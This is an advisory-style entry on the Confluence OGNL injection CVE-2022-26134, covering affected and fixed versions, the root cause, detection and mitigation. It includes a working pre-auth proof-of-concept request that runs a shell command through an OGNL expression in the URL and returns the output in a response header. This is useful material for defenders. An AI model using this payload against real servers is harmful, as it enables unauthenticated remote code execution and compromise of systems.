Confluence URI OGNL Injection (2022)

aka CONFSERVER-79016

Product: Atlassian Confluence Server / Data Center
CVE: CVE-2022-26134
Disclosed: 2022-06-02
CVSS: 9.8
Auth: pre-auth
CISA KEV: yes
Affected: 1.3.0 - 7.4.16, 7.13.0 - 7.13.6, 7.14.0 - 7.14.2, 7.15.0 - 7.15.1, 7.16.0 - 7.16.3, 7.17.0 - 7.17.3, 7.18.0
Fixed: 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4, 7.18.1

Summary

A zero-day discovered by Volexity during incident response over Memorial Day 2022: putting an OGNL expression in the URL path of any Confluence request executes it. Every supported version was vulnerable and exploitation was rampant within a day of public PoCs.

Root cause

When an action result is processed, XWork's ActionChainResult/TextParseUtil.translateVariables evaluates the namespace derived from the request URI as OGNL. Embedding ${...} in the URI path is therefore evaluated without authentication, and the payload can set response headers to return command output.

Impact

Unauthenticated RCE on all supported Confluence Server/DC versions at the time.

Public PoC

# URL-decoded: ${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: target:8090

Source: vulhub / confluence/CVE-2022-26134

Detection

Search access logs for '${' / '%24%7B' in the URI path, and responses with unusual headers like X-Cmd-Response. nuclei template CVE-2022-26134.

Mitigation

Upgrade to a fixed release; interim fix was replacing xwork-1.0.3-atlassian-10.jar and webwork jars per Atlassian.